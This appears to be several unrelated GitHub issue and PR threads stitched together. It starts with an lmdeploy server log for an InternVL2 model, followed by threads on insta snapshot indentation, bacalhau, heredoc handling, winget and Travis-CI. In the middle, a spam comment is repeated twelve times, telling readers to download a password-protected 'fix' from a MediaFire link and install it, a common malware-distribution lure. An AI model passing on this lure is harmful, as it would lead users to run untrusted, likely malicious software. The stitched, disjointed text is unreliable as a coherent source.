end_id = 2
session_len = 8192
weight_type = bf16
rotary_embedding = 128
rope_theta = 1000000.0
size_per_head = 128
group_size = 0
max_batch_size = 128
max_prefill_token_num = 8192
max_context_token_num = 1
step_length = 1
cache_max_entry_count = 0.8
cache_block_seq_len = 64
cache_chunk_size = -1
enable_prefix_caching = False
num_tokens_per_iter = 8192
max_prefill_iters = 1
use_context_fmha = 1
quant_policy = 0
max_position_embeddings = 32768
original_max_position_embeddings = 0
rope_scaling_type =
rope_scaling_factor = 2.0
use_dynamic_ntk = 1
low_freq_factor = 1.0
high_freq_factor = 1.0
use_logn_attn = 0
lora_policy =
lora_r = 0
lora_scale = 0.0
lora_max_wo_r = 0
lora_rank_pattern =
lora_scale_pattern =

[TM][WARNING] [LlamaTritonModel] `max_context_token_num` = 8192.
[TM][INFO] Model:
head_num: 16
kv_head_num: 8
size_per_head: 128
inter_size: 8192
num_layer: 24
vocab_size: 92553
attn_bias: 0
max_batch_size: 128
max_prefill_token_num: 8192
max_context_token_num: 8192
session_len: 8192
step_length: 1
cache_max_entry_count: 0.8
cache_block_seq_len: 64
cache_chunk_size: -1
enable_prefix_caching: 0
use_context_fmha: 1
start_id: 1
tensor_para_size: 1
pipeline_para_size: 1
enable_custom_all_reduce: 0
model_name: internvl2-internlm2
model_dir:
quant_policy: 0
group_size: 0

2024-08-27 16:34:26,016 - lmdeploy - WARNING - get 171 model params
[TM][INFO] [LlamaWeight<T>::prepare] workspace size: 0

[WARNING] gemm_config.in is not found; using default GEMM algo
[TM][INFO] NCCL group_id = 0
[TM][INFO] [BlockManager] block_size = 6 MB
[TM][INFO] [BlockManager] max_block_count = 10156
[TM][INFO] [BlockManager] chunk_size = 10156
[TM][INFO] LlamaBatch<T>::Start()
2024-08-27 16:34:27,750 - lmdeploy - INFO - updated backend_config=TurbomindEngineConfig(model_name=None, model_format=None, tp=1, session_len=8192, max_batch_size=128, cache_max_entry_count=0.8, cache_block_seq_len=64, enable_prefix_caching=False, quant_policy=0, rope_scaling_factor=0.0, use_logn_attn=False, download_dir=None, revision=None, max_prefill_token_num=8192, num_tokens_per_iter=0, max_prefill_iters=1)
Running on local URL:  http://<IP_ADDRESS>:6006
2024-08-27 16:34:44,226 - lmdeploy - INFO - prompt: ('图里是什么', [<PIL.Image.Image image mode=RGB size=630x931 at 0x7F8EBF8A2770>])
2024-08-27 16:34:44,227 - lmdeploy - WARNING - Can not found event loop in current thread. Create a new event loop.
2024-08-27 16:34:44,227 - lmdeploy - INFO - start ImageEncoder._forward_loop
2024-08-27 16:34:44,228 - lmdeploy - INFO - ImageEncoder received 1 images, left 1 images.
2024-08-27 16:34:44,228 - lmdeploy - INFO - ImageEncoder process 1 images, left 0 images.
2024-08-27 16:34:44,479 - lmdeploy - INFO - ImageEncoder forward 1 images, cost 0.252s
2024-08-27 16:34:44,480 - lmdeploy - INFO - ImageEncoder done 1 images, left 0 images.
2024-08-27 16:34:44,481 - lmdeploy - INFO - preprocess cost 0.254s
2024-08-27 16:34:44,481 - lmdeploy - INFO - input_ids: [1, 92543, 9081, 364, 60403, 69643, 68589, 76659, 71581, 69504, 60731, 61325, 68636, 68640, 74302, 60384, 60393, 60838, 60921, 60368, 70218, 60353, 69430, 78131, 1214, 1070, 30924, 328, 262, 68625, 71042, 90861, 91468, 68925, 72018, 60355, 92542, 364, 92543, 1008, 364, 92544, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 92545, 364, 60472, 60425, 69095, 92542, 364, 92543, 525, 11353, 364]
2024-08-27 16:34:44,482 - lmdeploy - INFO - Register stream callback for 0
[TM][INFO] [forward] Enqueue requests
[TM][INFO] [forward] Wait for requests to complete ...
[TM][INFO] [ProcessInferRequests] Request for 0 received.
[TM][INFO] [Forward] [0, 1), dc=0, pf=1, sum_q=1845, sum_k=1845, max_q=1845, max_k=1845
[TM][INFO] ------------------------- step = 1850 -------------------------
[TM][INFO] ------------------------- step = 1860 -------------------------
[TM][INFO] ------------------------- step = 1870 -------------------------
[TM][INFO] ------------------------- step = 1880 -------------------------
[TM][INFO] ------------------------- step = 1890 -------------------------
[TM][INFO] ------------------------- step = 1900 -------------------------
[TM][INFO] ------------------------- step = 1910 -------------------------
[TM][INFO] ------------------------- step = 1920 -------------------------
[TM][INFO] ------------------------- step = 1930 -------------------------
[TM][INFO] ------------------------- step = 1940 -------------------------
[TM][INFO] ------------------------- step = 1950 -------------------------
[TM][INFO] ------------------------- step = 1960 -------------------------
[TM][INFO] ------------------------- step = 1970 -------------------------
[TM][INFO] ------------------------- step = 1980 -------------------------
[TM][INFO] ------------------------- step = 1990 -------------------------
[TM][INFO] ------------------------- step = 2000 -------------------------
[TM][INFO] ------------------------- step = 2010 -------------------------
[TM][INFO] ------------------------- step = 2020 -------------------------
[TM][INFO] ------------------------- step = 2030 -------------------------
[TM][INFO] ------------------------- step = 2040 -------------------------
[TM][INFO] ------------------------- step = 2050 -------------------------
[TM][INFO] ------------------------- step = 2060 -------------------------
[TM][INFO] ------------------------- step = 2070 -------------------------
[TM][INFO] ------------------------- step = 2080 -------------------------
[TM][INFO] ------------------------- step = 2090 -------------------------
[TM][INFO] ------------------------- step = 2100 -------------------------
[TM][INFO] ------------------------- step = 2110 -------------------------
[TM][INFO] ------------------------- step = 2120 -------------------------
[TM][INFO] ------------------------- step = 2130 -------------------------
[TM][INFO] ------------------------- step = 2140 -------------------------
[TM][INFO] ------------------------- step = 2150 -------------------------
[TM][INFO] ------------------------- step = 2160 -------------------------
[TM][INFO] ------------------------- step = 2170 -------------------------
[TM][INFO] ------------------------- step = 2180 -------------------------
[TM][INFO] ------------------------- step = 2190 -------------------------
[TM][INFO] ------------------------- step = 2200 -------------------------
[TM][INFO] ------------------------- step = 2210 -------------------------
[TM][INFO] ------------------------- step = 2220 -------------------------
[TM][INFO] ------------------------- step = 2230 -------------------------
[TM][INFO] ------------------------- step = 2240 -------------------------
[TM][INFO] ------------------------- step = 2250 -------------------------
[TM][INFO] ------------------------- step = 2260 -------------------------
[TM][INFO] ------------------------- step = 2270 -------------------------
[TM][INFO] ------------------------- step = 2280 -------------------------
[TM][INFO] ------------------------- step = 2290 -------------------------
[TM][INFO] ------------------------- step = 2300 -------------------------
[TM][INFO] ------------------------- step = 2310 -------------------------
[TM][INFO] ------------------------- step = 2320 -------------------------
[TM][INFO] ------------------------- step = 2330 -------------------------
[TM][INFO] ------------------------- step = 2340 -------------------------
[TM][INFO] ------------------------- step = 2350 -------------------------
[TM][INFO] [Interrupt] slot = 0, id = 0
[TM][INFO] [forward] Request completed for 0
2024-08-27 16:34:46,510 - lmdeploy - INFO - UN-register stream callback for 0
2024-08-27 16:36:20,455 - lmdeploy - WARNING - kwargs request_output_len is deprecated for inference, use GenerationConfig instead.
[TM][INFO] [forward] Enqueue requests
[TM][INFO] [forward] Wait for requests to complete ...
[TM][WARNING] [RejectInvalidRequests] Skipping invalid stop request for id 0, code = 4
[TM][WARNING] [forward] Request failed for 0, code 4

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Incorrect inline snapshot indentation with hard_tabs = true

What happened?
I am using rustfmt configured with hard_tabs = true. When insta writes inline snapshots, it writes one space character for each tab.
Reproduction steps
#[test]
fn test() {
	insta::assert_debug_snapshot!(vec![1, 2, 3], @r"
 [
     1,
     2,
     3,
 ]
 ");
}

Insta Version
1.41
rustc Version
1.82.0
What did you expect?
I expected the indentation to use the tab character, not the space character.

Thanks for the issue.
Are you referring to the content of the string? Isn't that the debug output of the vec, without any connection to formatting rust code? Very possibly I'm misunderstanding...

Sorry for not being clear. When insta writes inline snapshots, it determines the indentation of the assert_snapshot invocation, then applies that as leading indentation to the string, so that the string content lines up nicely with the assert_snapshot call. I observe that this works very well when using spaces as indentation, but when using tabs, it is incorrect. In the example in my comment above, I would expect the [ to line up with  the i in insta. Instead, I observe that while the line with assert_snapshot is indented with one tab, the snapshot content is indented with one space. It appears that insta is calculating the number of whitespace characters, then unconditionally using a space as the indentation character.

Ah sorry for indeed misunderstanding.
The root of this is here: https://github.com/mitsuhiko/insta/blob/ce0027a263317b1d6d00f568e12d871dc450c39e/insta/src/snapshot.rs#L632-L649
We're counting whitespaces. We could instead do one of:

Multiply tab characters by 4 (or 8?); it would still use spaces but would have more chance of lining up. Very small easy change.
Pass back an String indentation rather than a count. Then we'd need to also change the indent that's written into a String, e.g. here: https://github.com/mitsuhiko/insta/blob/a07a24471e9e0621419e28062abf62f75e8b2aef/cargo-insta/src/inline.rs#L17

I don't think this is a personal priority for me nor a foundational feature for insta, so I won't get to it. But I'd be very happy to take a PR...


Job disk resource limits should be honoured for urldownload storage provider

This PR aims at the following

For urldownload storage provider, while getting volume size we send a HEAD request to the server.
If the size is obtained we send that size, if not the error is thrown.
Currently with this PR we do not take care of the case when server does not respond with correct size.

@frrist @wdbaruni  Please review whenever you get a chance ! Thank you !

Rebased on top of main with new commit.

Due to issues with Circle CI, where CI does not run on forks and fails with 403. Abandoning this PR. Creating new branch by cloning the repo from bacalhau itself and opening a new PR.


🔄 Here_doc hangs there

This is probably due to an unclosed file descriptor.
Refine that ft_heredoc() mate.

This problem happen due to a pipeline read that was , when it should been closed after reading, issue fixed ✅


TeamViewer.TeamViewer - Added MSI Installers

[x] Have you signed the Contributor License Agreement?
[x] Have you checked that there aren't other open pull requests for the same manifest update/change?
[x] This PR only modifies one (1) manifest
[x] Have you validated your manifest locally with winget validate --manifest <path>?

[x] Does your manifest conform to the 1.5 schema?

Note: <path> is the name of the directory containing the manifest you're submitting.

Resolve https://github.com/microsoft/winget-pkgs/issues/115253
Microsoft Reviewers: Open in CodeFlow

Is there any chance you can please do a PR also for TeamViewer Host?


Added auto build capabilities using Travis-CI

Describe the contribution
Auto build capabilities added using Travis-CI
Testing performed
Steps taken to test the contribution:

Verified auto build performed when new code is pushed to Github

Expected behavior changes

Auto build will be performed whenever new code is pushed to GitHub

System(s) tested on:

GitHub - Linux Xenial distribution

Additional context
none
Contributor Info
Travis Wheatley - Emergent Space Technologies
Community contributors
Work performed for NASA "Task 3015"

This example can be closed now that the techniques have been applied in the current CI implementation.  Marking as duplicate.